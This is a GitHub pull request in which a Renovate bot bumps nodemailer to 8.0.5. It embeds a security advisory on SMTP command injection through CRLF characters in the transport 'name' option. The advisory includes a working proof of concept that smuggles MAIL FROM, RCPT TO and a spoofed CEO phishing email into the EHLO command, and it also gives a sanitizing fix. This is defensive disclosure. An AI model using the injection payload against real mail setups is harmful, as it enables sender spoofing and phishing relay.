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[deps] Update dependency nodemailer to v8.0.5 [SECURITY]#15411

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xfournet merged 1 commit intomasterfrom
renovate/npm-nodemailer-vulnerability
Apr 11, 2026
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[deps] Update dependency nodemailer to v8.0.5 [SECURITY]#15411
xfournet merged 1 commit intomasterfrom
renovate/npm-nodemailer-vulnerability

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@renovate renovate bot commented Apr 9, 2026

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 8.0.48.0.5 age confidence

GitHub Vulnerability Alerts

GHSA-vvjj-xcjg-gr5g

Summary

Nodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport name configuration option. The name value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (\r\n). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.

Details

The vulnerability exists in lib/smtp-connection/index.js. When establishing an SMTP connection, the name option is concatenated directly into the EHLO command:

// lib/smtp-connection/index.js, line 71
this.name = this.options.name || this._getHostname();

// line 1336
this._sendCommand('EHLO ' + this.name);

The _sendCommand method writes the string directly to the socket followed by \r\n (line 1082):

this._socket.write(Buffer.from(str + '\r\n', 'utf-8'));

If the name option contains \r\n sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the envelope.from and envelope.to fields which are validated for \r\n (line 1107-1119), and unlike envelope.size which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the name parameter receives no CRLF sanitization whatsoever.

This is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (name vs size), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.

The name option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.

PoC

const nodemailer = require('nodemailer');
const net = require('net');

// Simple SMTP server to observe injected commands
const server = net.createServer(socket => {
    socket.write('220 test ESMTP\r\n');
    socket.on('data', data => {
        const lines = data.toString().split('\r\n').filter(l => l);
        lines.forEach(line => {
            console.log('SMTP CMD:', line);
            if (line.startsWith('EHLO') || line.startsWith('HELO'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('MAIL FROM'))
                socket.write('250 OK\r\n');
            else if (line.startsWith('RCPT TO'))
                socket.write('250 OK\r\n');
            else if (line === 'DATA')
                socket.write('354 Go\r\n');
            else if (line === '.')
                socket.write('250 OK\r\n');
            else if (line === 'QUIT')
                { socket.write('221 Bye\r\n'); socket.end(); }
            else if (line === 'RSET')
                socket.write('250 OK\r\n');
        });
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;

    // Inject a complete phishing email via EHLO name
    const transport = nodemailer.createTransport({
        host: '127.0.0.1',
        port: port,
        secure: false,
        name: 'legit.host\r\nMAIL FROM:<attacker@evil.com>\r\n'
            + 'RCPT TO:<victim@target.com>\r\nDATA\r\n'
            + 'From: ceo@company.com\r\nTo: victim@target.com\r\n'
            + 'Subject: Urgent\r\n\r\nPhishing content\r\n.\r\nRSET'
    });

    transport.sendMail({
        from: 'legit@example.com',
        to: 'legit-recipient@example.com',
        subject: 'Normal email',
        text: 'Normal content'
    }, () => { server.close(); process.exit(0); });
});

Running this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.

Impact

Who is affected: Applications that allow users or external input to configure the name SMTP transport option. This includes:

  • Multi-tenant SaaS platforms with per-tenant SMTP configuration
  • Admin panels where SMTP hostname/name settings are stored in databases
  • Applications loading SMTP config from environment variables or external sources

What can an attacker do:

  1. Send unauthorized emails to arbitrary recipients by injecting MAIL FROM and RCPT TO commands
  2. Spoof email senders by injecting arbitrary From headers in the DATA portion
  3. Conduct phishing attacks using the legitimate SMTP server as a relay
  4. Bypass application-level controls on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO
  5. Perform SMTP reconnaissance by injecting commands like VRFY or EXPN

The injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.

Recommended fix: Sanitize the name option by stripping or rejecting CRLF sequences, similar to how envelope.from and envelope.to are already validated on lines 1107-1119 of lib/smtp-connection/index.js. For example:

this.name = (this.options.name || this._getHostname()).replace(/[\r\n]/g, '');

Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.5

Compare Source

Bug Fixes
  • decode SMTP server responses as UTF-8 at line boundary (95876b1)
  • sanitize CRLF in transport name option to prevent SMTP command injection (GHSA-vvjj-xcjg-gr5g) (0a43876)

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@renovate renovate bot added dependencies use for pull requests that update a dependency file filigran team use to identify PR from the Filigran team labels Apr 9, 2026
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codecov bot commented Apr 9, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 33.39%. Comparing base (93a27d6) to head (12afd86).
⚠️ Report is 1 commits behind head on master.

Additional details and impacted files
@@           Coverage Diff           @@
##           master   #15411   +/-   ##
=======================================
  Coverage   33.39%   33.39%           
=======================================
  Files        3166     3166           
  Lines      214398   214398           
  Branches    39255    39254    -1     
=======================================
  Hits        71588    71588           
  Misses     142810   142810           
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@renovate renovate bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 9a7ec98 to 12afd86 Compare April 10, 2026 21:28
@xfournet xfournet merged commit e721ec6 into master Apr 11, 2026
45 checks passed
@xfournet xfournet deleted the renovate/npm-nodemailer-vulnerability branch April 11, 2026 08:59
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